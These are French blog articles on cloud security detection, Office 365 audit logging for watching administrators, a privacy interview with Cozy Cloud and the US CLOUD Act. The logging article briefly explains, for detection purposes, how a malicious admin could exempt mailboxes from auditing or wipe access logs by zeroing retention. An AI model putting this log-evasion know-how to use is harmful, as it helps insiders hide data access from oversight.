En outre, la journalisation est quasiment un non-problème dans votre feuille de route de sécurité. Les fournisseurs de cloud vous permettent généralement de diffuser les journaux de vos machines virtuelles (par l’intermédiaire d’agents), de vos composants PaaS (via une poignée de clics, ou de quelques paramètres dans vos modèles d’Infrastructure as Code) et du plan de gestion (management plane) de votre abonnement (souvent activé par défaut). Cela permet à votre équipe de sécurité de comprendre rapidement l’activité en cours sur la plate-forme et de commencer à construire sur la base des journaux pour obtenir quelques alertes. En outre, certains fournisseurs de cloud possèdent des systèmes SIEM (tels que Azure Sentinel) prêts à être branchés via des connecteurs pour les appliances et les sources de données externes. Ces systèmes SIEM analysent les journaux et retire  une partie du travail lourd nécessaire lors de la mise en place de la journalisation.

Saisissez l’occasion d’améliorer la sécurité dès maintenant

Une fois que vous avez appris les bases des outils natifs de détection Cloud, il est temps de construire votre propre expertise pour pouvoir compter sur vos propres outils ! Vous pouvez également vous appuyer sur des solutions tierces telles que les solutions de gestion de la posture de sécurité dans les Cloud (CSPM) et les configurer de manière à couvrir vos besoins.

Comme indiqué ci-dessus, les fonctionnalités natives des fournisseurs de services Cloud offrent quelques alertes de base qui peuvent aller loin. Avec AWS Guard Duty, vous pouvez détecter la compromission des jetons d’accès AWS EC2 ou un accès anormal aux seaux S3. Azure Security Center vous avertira lorsqu’une activité potentiellement malveillante est détectée sur une machine virtuelle, ou lorsque les comptes Azure AD sont susceptibles d’être pris en charge… Si vous devez être capable de détecter rapidement des attaques, il existe un moyen d’exploiter les alertes natives et prêtes à l’emploi disponibles (bien que certaines d’entre elles puissent nécessiter la licence premium après un essai gratuit).

L’un des principaux avantages de la détection du Cloud est que vous pouvez agir immédiatement en y remédiant automatiquement ! Par exemple, les erreurs de configuration sont une réelle source de préoccupation pour les équipes de sécurité, comme en témoignent les téraoctets de données qui ont fui par des seaux S3 accidentellement exposés. Alors pourquoi ne pas reconfigurer tout seau exposé, à moins qu’il n’ait été spécifiquement défini dans une « liste d’autorisation » ? L’automatisation vous permettra de détecter le modèle d’exposition, de lancer une fonction sans serveur qui corrigera la mauvaise configuration et pourrait même avertir le propriétaire de la ressource ou l’équipe de sécurité.

Cela peut être fait pour une mauvaise configuration, mais aussi pour une activité malveillante : si vous détectez qu’un jeton EC2 est volé dans les métadonnées d’une instance, vous pouvez temporairement lui retirer ses droits d’accès. Si vous constatez que la journalisation est désactivée, réactivez-la et verrouillez les comptes d’utilisateurs responsables. Cela vous permettra de réagir plus rapidement aux incidents de sécurité.

Bien entendu, vous devez encore travailler sur le processus global de gestion des incidents : à la fois sur la manière d’éviter la mauvaise configuration des services (par la formation des développeurs et les contrôles dans les canaux CICD s’ils existent) et sur la manière de les gérer une fois qu’ils se produisent (le modèle de fonctionnement est abordé plus loin).

Se rapprocher de l’entreprise et de l’amélioration continue

Le passage au Cloud est généralement un moment où les applications et les charges de travail devront à nouveau passer par un examen de sécurité pour s’assurer que l’architecture et la conception sont solides et sûres. Mais c’est aussi l’occasion de rendre la détection de sécurité plus pertinente pour l’application.

Pour que cela compte, mon conseil serait le suivant:

• Passer par le processus de « Service Enablement » pour les nouveaux services : comme le passage au cloud permet aux équipes commerciales et informatiques d’utiliser des centaines de nouvelles fonctionnalités et de nouveaux composants, il est important de réunir les architectes et les équipes de sécurité pour évaluer les principaux risques pour chaque nouvelle technologie, trouver des contre-mesures pour limiter ces risques et commencer à réfléchir aux alertes qui devront être mises en œuvre dans le SIEM ;
• Construire un catalogue d’alerte pour chaque scénario et composant de risque typique, la logique de l’alerte étant déjà prédéfinie et seules les spécificités de l’entreprise devant être personnalisées. Le « time to market » de la supervision devrait également diminuer, car une bonne partie des composants utilisés pour les opérations dans le Cloud est commune à la plupart des applications (machines virtuelles, bases de données, applications et fonctions sans serveur, systèmes de découplage) ;
• Tenez-vous au courant des attaques liées au Cloud afin de comprendre les dernières vulnérabilités et les chemins empruntés par les attaquants, et intégrez-les dans vos systèmes de détection.

Toutes ces spécificités applicatives doivent s’ajouter aux alertes transversales couvrant les fonctions essentielles de votre Cloud (IAM, mise en réseau, zones d’atterrissage, etc.). Pour vous aider à mettre en place cette capacité de détection du noyau, vous pouvez évidemment compter sur notre équipe, mais je vous recommande également de vous renseigner sur la communauté CloudSec, qui ne cesse de s’agrandir et qui partage son expertise en permanence grâce à des outils open-source (comme cette vue consolidée ) ou sur des plateformes en direct et en ligne (comme le Forum sur la sécurité dans le Cloud et son premier Fwd:CloudSec conférence cette année).

Mais tout n’est pas facile !

D’après tout ce qui précède, il peut sembler facile d’obtenir une compétence de détection et de réaction d’un Cloud solide. Cependant, certains défis restent à relever.

Le premier qui vient à l’esprit est la tarification. Souvent proposé comme argument de vente pour les programmes Move to Cloud, il n’est pas aussi facile qu’il y paraît d’estimer avec précision le prix que votre fournisseur vous fera payer pour les détections Cloud. Au fil des ans, de nombreuses solutions de sécurité des CSP sont passées à une tarification basée sur les composants pour les IaaS et à une tarification basée sur les transactions pour les composants PaaS. Le stockage des journaux et les alertes sont parfois encore plus complexes, car certaines solutions vous factureront en fonction du transit et de l’agrégation des journaux, tandis que d’autres vous factureront le nombre d’évaluations par rapport aux alertes que vous avez lancées. Un travail important est nécessaire pour déterminer un budget réel et ne pas faire faillite.

Le deuxième point essentiel est de comprendre ce que votre fournisseur offre et ce qu’il n’offre pas en termes de détection. Si la plupart des solutions prétendront résoudre tous vos problèmes d’un seul coup, c’est malheureusement loin d’être le cas. Et pour chaque cas d’utilisation de la sécurité, il faut savoir si l’option gratuite, si elle existe, vous convient, si l’option premium est nécessaire ou si vos équipes de sécurité peuvent se débrouiller seules. De manière réaliste, vous devrez commencer par l’option native, jusqu’à ce que votre équipe de sécurité soit suffisamment mature, en termes de Cloud, pour passer à un processus fait maison.

En outre, et c’est peut-être l’aspect le plus important, vous devez concevoir un modèle d’exploitation qui vous permettra de travailler avec plusieurs abonnements, plusieurs équipes/entreprises et éventuellement plusieurs fournisseurs de Cloud. De plus en plus d’organisations parallélisent leurs opérations en choisissant différents CSP pour différents cas d’utilisation, ce qui entraîne une complexité accrue pour les équipes de sécurité – car elles doivent gérer des incidents sur différentes plateformes, les responsabilités étant réparties entre les DevOps, les SecOps et les équipes sur site. Cela sera d’autant plus difficile qu’une mauvaise configuration entraînera des risques de sécurité immédiats et qu’il faudra choisir entre les opérations et la sécurité. En l’absence d’une division solide des tâches entre tous les fournisseurs et toutes les équipes, il y a de fortes chances qu’une petite erreur de configuration se transforme en une fuite de données importante.

Enfin, n’oubliez pas que la surveillance de vos applications dans le Cloud peut également créer des risques. Outre le verrouillage des fournisseurs, vous pouvez perdre toutes les fonctions de sécurité ainsi que vos applications si tout se trouve sous le même plan de gestion. Si les droits d’administration globale du locataire SIEM sont repris par un attaquant, il aura toute liberté d’affecter les ressources sous-jacentes (c’est-à-dire d’effacer les journaux, de désactiver les alertes ou de supprimer les capacités de correction). Il vaut la peine d’y réfléchir avant d’empiler votre SIEM et vos applications critiques sous le même toit.

Pour résumer, en fin de compte :

• Attrapez les fruits qui pendent : votre fournisseur de Cloud vous aidera à collecter et à consolider les bûches facilement. Il n’y a pratiquement plus d’obstacles techniques pour ne plus utiliser les bûches. En outre, activez les fonctions de sécurité de base fournies par votre fournisseur de services dans le Cloud pour détecter les attaques les plus évidentes.
• Développez votre maturité en matière de Cloud avec des équipes de Cloud : Le mouvement Cloud a poussé les équipes commerciales et informatiques (SecDevOps) à travailler plus étroitement que jamais. Adoptez cette philosophie en comprenant mieux les besoins des entreprises en termes de sécurité, en personnalisant les alertes et en automatisant votre réponse pour permettre à votre capacité d’évoluer.

• Optimiser les coûts et les modèles de fonctionnement pour exceller : La virtualisation a facilité de nombreux aspects techniques pour les équipes, mais les processus peuvent être difficiles à adapter. Veillez à concevoir avec soin votre modèle d’exploitation de détection/réponse aux incidents pour vous assurer que toutes vos applications et tous vos fournisseurs de services dans le Cloud sont couverts. Enfin, pensez à l’optimisation des coûts lorsqu’il s’agit de la gestion des logs !

Cet article Comment améliorer votre detection cyber en migrant dans le Cloud est apparu en premier sur RiskInsight.

La sécurisation d’Office 365 passe par de nombreuses thématiques à adresser, dont la nécessité d’être en capacité de tracer les actions, afin de détecter des comportements illicites ou de remonter à la cause d’un incident.

En France, de nombreuses entreprises ont cependant des difficultés pour consolider les logs et définir des cas d’usages de supervision. La maîtrise de la journalisation doit être au cœur de cette démarche.

La supervision des actions d’administration, une nécessité

Pour ce décryptage sur la journalisation, prenons le cas des administrateurs de la plateforme.

Comme pour les autres solutions SaaS (Google Cloud Platform, Salesforce, etc.), l’atteinte à l’intégrité ou à la confidentialité des données à la suite d’une erreur ou d’une action malveillante d’un administrateur de l’entreprise se retrouve parmi les risques majeurs identifiés par nos clients

Par définition, les administrateurs Office 365 possèdent des privilèges élevés :

• Configuration des différents services – ou workloads – et des API ;
• Gestion des permissions sur les OneDrive et les boîtes mails des utilisateurs ;
• Gestion du cycle de vie des espaces de collaboration.

Il est facile d’imaginer les conséquences désastreuses qui pourraient résulter d’une utilisation malveillante ou non maîtrisée de ces privilèges. En effet, des paramètres tels que le partage à l’externe de SharePoint Online, les autorisations des API ou la configuration de la messagerie pourraient introduire des vecteurs de fuite de données significatifs.

Les bonnes pratiques du SI on-premise (cycle de vie, principe de moindre privilège, segmentation des droits, authentification forte, just-in-time access etc.) doivent aussi être appliquées sur le Cloud. Le Cloud aussi doit être maîtrisé et contrôlé.

Cependant, l’implémentation des bonnes pratiques  bien que nécessaire, ne suffisent pas. En effet, elles ne permettent pas de s’assurer qu’un administrateur ne réalise pas des actions diminuant le niveau de sécurité ou des actions illicites. On peut donc naturellement se demander comment il serait possible d’auditer les actions effectuées et de lever des alertes le cas échéant.

Quels sont les moyens fournis par Microsoft ? Comment prévenir qu’une personne malveillante n’efface ses traces (ce qui rendrait une attaque plus difficile à détecter et à reconstituer) ?

Afin d’illustrer les différentes possibilités, nous allons suivre les quatres exemples ci-dessous :

Figure 1 – Exemple d’actes d’administration suspects

Quels journaux sont disponibles ?

Unified Audit Logs : journalisation unifiée des différents services

Pour des raisons historiques et techniques, Office 365 possède nativement plusieurs sources de journaux : Unified Audit Logs, Exchange Logs et Azure Logs. Ces sources sont complémentaires et doivent être analysées conjointement afin d’avoir une vision exhaustive des actions d’administration réalisées.

La source de logs la plus couramment citée et utilisée sont les « Unified Audit Logs ». Ces logs centralisent les traces des utilisateurs et celles des administrateurs, pour l’ensemble des services de la plateforme : SharePoint Online, Azure AD, Exchange Online, Teams, Power Platforms. Microsoft intègre progressivement les différentes sources et continue à rajouter des nouveaux logs.

Pour revenir à nos exemples concrets, les logs intéressants sont :

• Modification de la Politique de partage à l’externe de SharePoint Online : SharingPolicyChanged
• Attribution de droits à un OneDrive : SiteCollectionAdminAdded
• Attribution de droits à une boîte mail : AddMailboxPermission
• Modification d’un rôle d’administration : AddMembertoRole

Ces logs sont accessibles et exportables via les Centres de Conformité et de Sécurité, les API Office 365 Management et PowerShell (via la cmdlet Search-UnifiedAuditLog). Notons que la journalisation doit être activée via le Centre de Conformité ou via PowerShell afin de pouvoir enregistrer des logs et permettre la recherche.

Il est possible de configurer directement des alertes liées à l’occurrence de certains logs dans les Centres de Sécurité et de Conformité.

Exchange Logs : journalisation de l’infrastructure de messagerie

La deuxième source de logs intéressante sont les « Exchange Logs ». Ces logs fournissent des informations quant aux actions d’utilisation et d’administration réalisées sur le service Exchange Online ainsi que sur les boîtes aux lettres personnelles ou partagées. Deux typologies de journaux peuvent être distinguées :

• Administrator Audit Logs: Logs d’administration du service ou d’une boîte aux lettres (ex : modification des permissions d’un utilisateur, modification de la durée de rétention de conservation des journaux d’une boîte aux lettres etc.)
• Mailbox Audit Logs : Logs d’utilisation d’une boîte aux lettres par l’utilisateur principal, un utilisateur délégué ou un administrateur de service (ex : accès à la boîte aux lettres, envoi d’un mail à la place de l’utilisateur principal, déplacement d’un élément dans un dossier, suppression définitive, etc.)

Pour revenir à nos exemples concrets, les logs qui vont nous intéresser ici sont :

• Attribution de droits à une boîte aux lettres : AddMailboxPermission
• Accès à un dossier ou à une boîte aux lettres : FolderBind (non activé par défaut):
• Accès à un mail : MailItemAccessed (uniquement pour les utilisateurs ayant une licence E5)

Pour aller plus loin avec les Administrator Audit Logs

Les Administrator Audit Logs sont générés pour toute action d’administration Exchange pouvant être reliée à une cmdlet PowerShell autre que Get, Search ou Test. Ces logs sont liés aux Unified Logs et peuvent être exploités dans le Centre d’Administration Exchange, les Centres de Sécurité et de Conformité, les API Office 365 Management et PowerShell.

Pour aller plus loin avec les Mailbox Audit Logs

Les Mailbox Audit Logs sont la seule catégorie de logs à être configurable (périmètre et granularité). Ces logs permettent de tracer les actions réalisées par un owner (propriétaire), un delegate (utilisateur ayant des permissions) et d’un admin (accès via les outils eDiscovery).

Depuis Janvier 2019, la journalisation des Mailbox Audit Logs est activée par défaut pour l’ensemble des locataires Office 365. A date, si la journalisation est activée par défaut, l’ensemble des boîtes aux lettres sont auditées (même si le paramètre « -AuditDisabled » est à « True »). La seule façon de ne pas journaliser les actions d’une boîte mail est d’implémenter une règle de by-pass avec « Set-MailboxAuditBypassAssociation ».

Il faut toutefois noter que certaines actions ne sont pas auditées par défaut, comme par exemple l’accès d’un delegate ou d’un admin à une boite mail d’un utilisateur. Il est par conséquence primordial d’analyser les journaux à activer, lors de la configuration initiale du service.

Selon le niveau de licences et la configuration, ces logs peuvent être liés aux Unified Logs et être exploités dans le Centre d’Administration Exchange, les API Office 365 Management et PowerShell ou les Centres de Sécurité et de Conformité.

Azure Logs et Rapports : journalisation d’Azure Active Directory

La dernière source de logs, mais pas la moins importante, sont les « Azure AD logs ». Ces logs permettent de fournir des traces complètes pour la brique d’identité d’Office 365 ainsi que sur les actions d’administration associées. Plusieurs catégories de journaux et de rapports sont disponibles :

• Azure Audit Logs: Logs d’administration de la brique d’identification ou de modification des éléments (ex : attribution du rôle « SharePoint Administrator », création d’un utilisateur ou d’un groupe de sécurité, autorisation d’une API, configuration des utilisateurs invités, etc.)
• Azure Sign-in Logs: Logs de connexion à un service Office 365 (ou à des applications / ) avec des informations sur la chaîne de connexion (ex : protocole, adresse IP, terminal, etc.)
• Risky Sign-in: Rapports de connexion avec des indicateurs liés à des connexions suspectes.

Ces logs et rapports sont accessibles et exportables via le portal Azure, les API Graph ou Azure Management et PowerShell. Certains des logs directement liés à Office 365 se retrouvent aussi dans les Unified Audit Logs.

Pour revenir à nos exemples concrets, les logs intéressants sont :

• Modification d’un rôle d’administration : AddMembertoRole
• Ajout d’une application : CoreDirectory – ApplicationManagement – Add service principal / Add application
• Consentement à une application : Core Directory – ApplicationManagement / Add delegated permission grant / Consent to application (ConsentContext.IsAdminConsent)

Figure 2 – Récapitulatif des caractéristiques des logs d’Office 365

En résumé, les Unified Audit Logs apportent une vision consolidée des différents services d’Office 365, mais certaines informations peuvent être manquantes. Il sera nécessaire de s’assurer que les journaux requis soient bien présents, et ensuite d’approfondir une investigation dans les logs et les rapports d’Exchange ou Azure.

Quelle rétention pour les différents journaux d’Office 365 ?

Une fois les logs adéquats identifiés, se pose le défi de la rétention. Comment être sûr que les journaux sont bien conservés sans être altérés, pendant toute la durée requise par la politique de sécurité de l’entreprise et les différentes réglementations, comme la loi anti-terroriste ou le RGPD ?

Par construction, et contrairement aux solutions Exchange and SharePoint on-premise, tous les logs cités précédemment sont inaltérables – c’est-à-dire non modifiables ni supprimables par les administrateurs de l’entreprise. Par ailleurs, les durées de conservation définies par défaut ne peuvent être modifiées (à savoir 90 jours pour les logs Office 365 et 7 ou 30 jours pour les logs Azure avec des licences standards). Ceci à une exception près, un administrateur Exchange a la possibilité d’effacer les journaux des boîtes aux lettres, en modifiant la durée de rétention associée.

Si on reprend nos exemples, on pourrait tout à fait imaginer un administrateur malveillant se donnant des droits pour accéder à une boîte mail, puis regarder les mails et effacer les logs d’accès en fixant une durée de rétention nulle. Dans ce cas, ne serait conservée que l’élévation de privilège réalisée dans les Administrator Audit Logs.

Afin de se mettre en conformité avec les exigences de sécurité ou la réglementation, il pourra de plus être nécessaire de s’assurer que les journaux des différents services soient conservés plus de 7, 30 ou 90 jours.

Quelques étapes pour implémenter une journalisation pertinente au sein d’Office 365

1. Définition et activation des logs nécessaires: les Unified Audit Logs peuvent ne pas être suffisants (suivi des API Office 365 et Azure AD, journalisation des accès des administrateurs aux boîtes aux lettres, etc.)
2. Configuration d’un export automatique des journaux identifiés vers un stockage externe  (via PowerShell ou les API Management) ;
3. Suivi de l’état du tenant : implémentation d’un tableau de bord des paramètres du tenant configuration d’alertes liées à un changement de la configuration des journaux (via le Centre de Sécurité ou Conformité, les API Office 365 Management ou PowerShell), comme la désactivation des Unified logs ou à une modification de la rétention des logs d’une boîte aux lettres ;

Figure 3 – Bonnes pratiques pour la journalisation du tenant

Après avoir réalisés ces trois actions, l’entreprise aura les informations nécessaires pour auditer les actions d’utilisation et d’administration du tenant. Cependant, elles ne répondent pas encore au besoin plus large de supervision des administrateurs. Il pourra être utile de mettre en place des alertes (via le Centre de Sécurité ou de Conformité ou des outils tierces spécialisés).

1. (Pour aller plus loin) Mise en place d’une supervision basique : définition de scénarii de détection sécurité généralistes, identification des logs concernés, activation de l’alerte associée dans les Centres de Sécurité ou de Conformité ;
2. (Pour aller encore plus loin) Mise en place d’une supervision avancée : identification de scénarii liés à un contexte métier, implémentation, définition de la gouvernance associée, amélioration continue.

Quels outils utiliser pour analyser les journaux ? Quels scénarios de détection prioriser ? Quelle gouvernance mettre en place pour définir, implémenter et suivre des alertes ? Autant de questions qui doivent être traitées dans l’implémentation de la supervision de la plateforme de collaboration.

Il faudra également prendre en compte les changements réguliers apportés par Microsoft sur ces services, ainsi que sur la structure des logs et des API. D’autant plus que cohabitent les fonctionnalités en Preview et celles en General Availability.

Cet article Journalisation d’Office 365 : un cas concret avec les administrateurs est apparu en premier sur RiskInsight.

Ressentez-vous une préoccupation des citoyens concernant leur vie privée ?

Ce n’est pas vraiment une préoccupation à ce stade, sauf pour une minorité, environ 5 à 10% de la population d’après certains sondages. Cette minorité comprend la manipulation commerciale dont elle est l’objet et, conséquemment, le poids du ciblage dans son comportement. Le constat intéressant est qu’aujourd’hui ce ne sont plus spécifiquement les « geeks » qui prennent conscience de cette manipulation, mais des profils de plus en plus variés. Cela se traduit pour la grande majorité par un agacement de la population, parfois même une exaspération liée à la sensation d’être un produit. La puissance des géants devient dérangeante, les big tech sont en train de devenir les méchants.

Comment cette évolution se traduit-elle depuis l’entrée en vigueur du RGPD ?

Je ressens une meilleure compréhension des enjeux de protection de la vie privée, notamment lorsque je donne mon pitch. Je pense que les réactions que je récolte sont un bon échantillonnage de l’ère du moment. Il y a 4 ans, je passais parfois pour un fou : « la confidentialité, ça n’intéresse personne », « le modèle GAFA c’est le seul qui fonctionne pour internet », etc. Aujourd’hui, ce n’est plus du tout le cas : c’est un marqueur énorme, très tangible.

Que propose Cozy Cloud pour les aider ?

Aujourd’hui, nos données ne sont déjà pas sous notre contrôle, mais elles sont également dispersées. Ainsi, l’usage que l’on peut en tirer est limité, voire freiné. La vie numérique se fragmente du fait de sa diversification : vie scolaire, parcours de santé, interactions avec les pouvoirs publics, objets connectés, etc. Toutes ces données circulent dans des écosystèmes étanches les uns par rapport aux autres, et cela crée une friction : c’est l’enfer des mots de passe, téléchargements, synchronisations, back-ups, etc. De ce fait, la force d’Apple consiste à créer une intégration, un maillage entre toutes ces données : l’utilisateur reçoit une invitation dans ses mails, elle est ajoutée sur son agenda, qui se synchronise avec son smartphone, lequel conduira bientôt sa voiture à destination… En interconnectant toutes ces données, Apple est devenue l’une des premières valeurs boursières !

Le fait d’ôter de la friction entre ces écosystèmes étanches et d’ajouter de la simplicité aux usages numériques a donc une valeur énorme. Une barrière persiste : l’isolation des données les unes par rapport aux autres. Pour un numérique utile, pratique, commode et personnalisé, il faut réunir les données.

En Europe, le système politique donne à l’individu une place centrale : aujourd’hui, grâce au RGPD, l’individu dispose d’un droit à la portabilité. C’est un droit fort pour l’usager, ainsi qu’un véritable levier pour Cozy Cloud et pour tous ceux qui se veulent des tiers de confiance. Il ne s’agit pas d’un droit de téléchargement, mais véritablement d’un droit au transfert pour l’utilisateur. Ce droit modifie totalement les règles du jeu.

Grâce à ce droit, l’individu est rendu légitime pour réconcilier les données : il dispose, d’une part des logins et mots de passe, d’autre part de la légitimité légale. En appuyant Cozy Cloud sur cette double légitimité, nous offrons à l’individu une plateforme numérique personnelle, dont il garde le contrôle, et dans laquelle il peut centraliser toutes ses données et accéder à de nouveaux services numériques.

Concrètement, quels services proposez-vous aux individus ?

Cozy Cloud, ce n’est pas seulement un coffre-fort « statique » comme on en voit beaucoup. L’utilisateur centralise ses données sur un cloud personnel pour pouvoir y adosser ses services, rajouter des usages et effectuer des croisements entre ses données. Nous appelons cela du « transverse data » : croiser les données issues de sources diverses. L’utilisateur peut par exemple faire le lien entre sa facture d’électricité et un débit sur son compte en banque : nous créons ainsi une véritable fluidité.

De plus, la plateforme permet à l’utilisateur de communiquer avec ses divers fournisseurs, qui se trouvent aujourd’hui dans des univers séparés : désormais, un login et un mot de passe uniques permettent d’échanger avec les différents fournisseurs.

Enfin, la solution permet la mise en place de services numériques à domicile. A l’heure actuelle, il faut laisser collecter la donnée pour pouvoir bénéficier d’un service ; par exemple, EDF envoie chaque mois des centaines de prélèvements automatiques sans savoir lesquels vont être bloqués in fine. L’information qui permettrait d’anticiper ces prélèvements infructueux existe mais EDF ne peut y accéder car cela reviendrait à accéder aux soldes bancaires de ses clients. Cela représente un coût important en frais de gestion, de traitement, de suivi et provoque des frictions dans la relation client. Avec la solution de Cozy Cloud, l’utilisateur récupère et consolide dans sa plateforme ses données bancaires, sa facture et la date de son prochain prélèvement ; de son côté, Cozy Cloud développe un protocole permettant de faire des calculs sur les données présentes dans la plateforme. Ainsi, l’algorithme d’EDF, qui a accès à la donnée mais ne la collecte pas, peut prédire que le prélèvement va être bloqué. De son côté, la banque peut par exemple faire une offre commerciale, et différer le prélèvement. Cette offre se base sur l’accès à une donnée très personnelle, qui relève de notre intimité numérique. Pourtant, jamais EDF ne reçoit la donnée : celle-ci ne sort pas du coffre numérique de l’individu et n’est donc pas dévoilée.

Comment sont gérés les accès et habilitations dans Cozy Cloud ?

C’est un peu similaire à ce que l’on peut retrouver sur nos smartphones : une fenêtre pop-up s’ouvre, par exemple pour demander l’accès à notre liste de contacts. L’accès d’une application à nos données facilite alors de nombreuses actions, par exemple la saisie d’un mail en local. Mais le transfert de données vers l’extérieur pose un véritable problème.

La fenêtre pop-up de Cozy Cloud propose deux options à l’usager : soit un usage local, soit un usage partagé de la donnée.

Quel est l’apport de votre solution pour les organisations ?

Cozy Cloud se fonde sur deux business models successifs.

Tout d’abord, nos clients ce sont de grands comptes, les « brick and mortars », qui bénéficient d’une confiance historique, menacés par les puissances du numérique. Ils veulent se repositionner à l’ère du numérique et valoriser cet asset de confiance : c’est donc du B2B2C. Cozy Cloud est aux « brick and mortars » ce qu’est Android pour le serveur, soit un service valorisant un hardware.

Le second business model interviendra une fois que la plateforme conciliera plusieurs acteurs-clés, tels que les banques ou les opérateurs de télécommunications : Cozy Cloud pourra s’adresser à une partie significative de la population. Il deviendra alors opérateur d’interactions digitales, dans une logique de partage de revenu avec les différents clients. En effet, Cozy Cloud gère l’écosystème et les contrats : lorsqu’un « brick and mortar » signe un contrat, tous les clients de Cozy peuvent bénéficier de sa donnée, avec l’accord de l’utilisateur. Le revenu lié à un client en particulier est matérialisé par la donnée apportée et la commission payée à Cozy Cloud.

Plus concrètement, quelle valeur ajoutée leur proposez-vous ?

On peut valoriser la donnée sans la monétiser pour autant : ce qui a de la valeur, ce n’est pas la donnée en tant que telle, c’est plutôt l’interaction créée entre les données, lorsque celle-ci est pertinente. Les organisations doivent le comprendre. Nous nous positionnons comme un opérateur d’interactions digitales.

Par exemple, lorsqu’un utilisateur achète une télévision à la Fnac, il reçoit la facture dans son cloud personnel ; ainsi son assurance peut lui communiquer des informations utiles, de type « votre nouvelle télé est bien assurée pour le dégât des eaux ». Cette interaction crée de la valeur pour l’assuré, mais également pour l’assureur. Dans ce contexte, l’organisation valorise son rôle de tiers de confiance en offrant davantage de services, mais peut également développer un nouveau métier. Celui-ci consiste, non plus à sécuriser de la donnée, mais à créer un écosystème de services à valeur ajoutée pour l’entreprise, mais aussi utile pour l’utilisateur. Si nous reprenons l’exemple d’EDF et de la banque, l’interaction rendue possible par Cozy Cloud engendre pour EDF un gain d’argent et de temps, qui se monétise. La plateforme Cozy devient ainsi un opérateur d’interactions digitales, somme toute plus intelligentes, tout en restant sous le contrôle des particuliers.

Cette solution pourrait sembler aller à l’encontre de technologies telles que le big data ou le machine learning de prime abord ; en réalité, jamais les entreprises n’auraient pu collecter de telles données et les ajouter à leur base de données. Cela leur permet de ne pas être définitivement désintermédiées, mais au contraire d’accéder à davantage de données.

Cela ne paraît pas nécessairement évident au premier abord : comment les convaincre ?

Il ne s’agit définitivement pas de convaincre les 30 000 PME et grands groupes français. Notre solution s’adresse à des acteurs qui sont aujourd’hui challengés par les nouveaux entrants du numérique. Aujourd’hui, le constat est sans équivoque : les GAFA connaissent mieux les clients des « brick and mortars » que les « brick and mortars » ne les connaissent eux-mêmes. Quand Facebook dépose un brevet sur l’évaluation de risque de crédit bancaire, ce n’est pas parce que Facebook est devenu un banquier : c’est simplement que Facebook a compris qu’il connaissait mieux les clients des banques que les banques elles-mêmes. Et ainsi, Facebook peut devenir banquier, tout comme il peut devenir opérateur d’énergie, de mobilité, de médias, etc. Du fait de l’intimité numérique qu’entretiennent les GAFA avec leurs usagers, ils s’approprient progressivement des verticales métiers.

En revanche, les « brick and mortars » bénéficient d’une confiance historique : banques, télécommunications, assurances mutualistes, pouvoir publics, etc. Nos clients sont des grands comptes, menacés par les puissances du net, qui veulent se repositionner à l’ère du numérique et valoriser cet asset qu’est la confiance. Nous leur proposons de tenir cette position de tiers de confiance, mais également de tirer de nouveaux usages de cette capacité de stockage.

Dans un premier temps, les organisations peuvent avoir la fausse impression de se faire prendre leurs données. Dans la réalité, Cozy Cloud vient les aider à développer des outils et usages plus intelligents. Soit ces organisations ouvrent le pas, et c’est une bonne chose pour elle, soit c’est Google qui le fera…

Cet article Vie Privée à l’ère du Numérique – Interview de Benjamin ANDRE (Cozy Cloud) est apparu en premier sur RiskInsight.

Le projet de loi, créé à la base pour modifier un projet de loi de 1986, le «Stored Communication Act», permet aux États-Unis de forcer les fournisseurs de services américains  à transmettre les données de leurs clients stockées à l’étranger de manière beaucoup plus rapide. Il faut en moyenne dix mois pour obtenir les données, une durée improductive pour les enquêtes menées par les États-Unis. Le projet de loi vise à permettre aux autorités américaines (du shérif à la CIA) à accéder à des données hébergées par des entreprises américaines sans passage devant un juge. Les grandes entreprises technologiques, qui ont soutenu le projet de loi devant le Sénat, pourront s’opposer à une demande si :

• Le client ou l’abonné n’est pas américain ou ne réside pas aux États-Unis (section 3.2.b.h.2.i), et
• Le transfert obligerait le fournisseur à enfreindre les réglementations du pays hébergeant les données (section 3.2.b.h.2.ii)

Cette demande sera alors portée devant un tribunal américain qui pourra alors casser ou non la demande de transfert de données. Sa décision sera basée, entre autres, sur la validité des informations apportées, de l’intérêt de la requête pour les Etats-Unis et de l’envergure et les chances d’application de la violation de loi dans le pays étranger. Le caractère public du recours n’est pas précisé, en particulier la capacité des entreprises à communiquer sur ces contestations. Aujourd’hui, il nous parait probable que les grands acteurs américains utilisent ce recours pour garder la confiance de leurs clients.

Afin d’éviter d’enfreindre les réglementations des pays concernés, les États-Unis pourront passer des accords bilatéraux avec ces États, qui, en échange de leur bonne volonté, pourront accéder aux données sur le territoire américain.

Aux États-Unis, le CLOUD Act reste contesté pour les risques hérités par les potentiels accords avec les pays étrangers. Le fait que le pouvoir exécutif soit à même de mettre en place les accords mutuels inquiète la population américaine, qui craint que des puissances étrangères se servent du Cloud Act pour aller fouiller dans leurs données sans garde-fou.

Quelles conséquences pour les clients européens ?

Alors que les géants de la technologie (Facebook, Google, Microsoft, Apple) ont soutenu le projet de loi (les autorités américaines s’abstenant de les approcher pour un accès backdoor et fournissant un cadre clair pour exercer le transfert de données), ces réglementations peuvent être inquiétantes pour la privacy des clients des entreprises ciblés. Cette loi pourrait laisser les clients sans droit de regard, ni information sur l’accès à leurs données par les autorités américaines.

Cependant, les clients européens dont les données sont traitées en Europe pourraient être bientôt protégés par le Règlement Général sur la Protection des Données (RGPD). Les articles 45 et 48 du règlement qui entrera bientôt en vigueur définissent un ensemble de règles claires pour permettre le transfert vers des pays tiers. Selon Frank Jennings (avocat de renom sur les sujets cloud), l’European Data Protection Board, en charge de l’implémentation du RGPD, sera en charge de décider si les saisies dans le cadre du CLOUD Act constituent une mesure nécessaire à la sauvegarde de la sécurité nationale américaine, ou si la demande ne respecte pas la nouvelle réglementation.  Cela pourrait obliger les États-Unis à négocier avec l’UE ou ses États membres les conditions de tels transferts, et donc à protéger leurs citoyens contre les transferts illégitimes. Les clients américains resteraient toutefois sous la portée du CLOUD Act.

Des négociations doivent commencer entre la Commission européenne et les Etats-Unis. Les dirigeants de l’UE ont déjà critiqué le projet de loi américain pour son adoption précipitée, ce qui risque de compliquer les négociations. Entre-temps, une centaine d’organisations de la société civile ont pressé le Conseil de l’Europe à rendre publiques les négociations prévues lors de la « Convention sur la cybercriminalité » (ou « Convention de Budapest »).

Les lois de confidentialité, un atout pour les entreprises ?

Alors que le RGPD a pu préoccuper une bonne partie des entreprises sur le changement que cela impliquerait pour leurs systèmes d’information et que la directive « E-Privacy » se prépare, il pourrait être intéressant de voir le rapport à la réglementation évoluer dans le monde des affaires. Les lois de «data privacy » pourraient, dans un futur proche ou lointain, être considérées comme une aide à la protection de leurs données et au maintien de la confiance des clients.

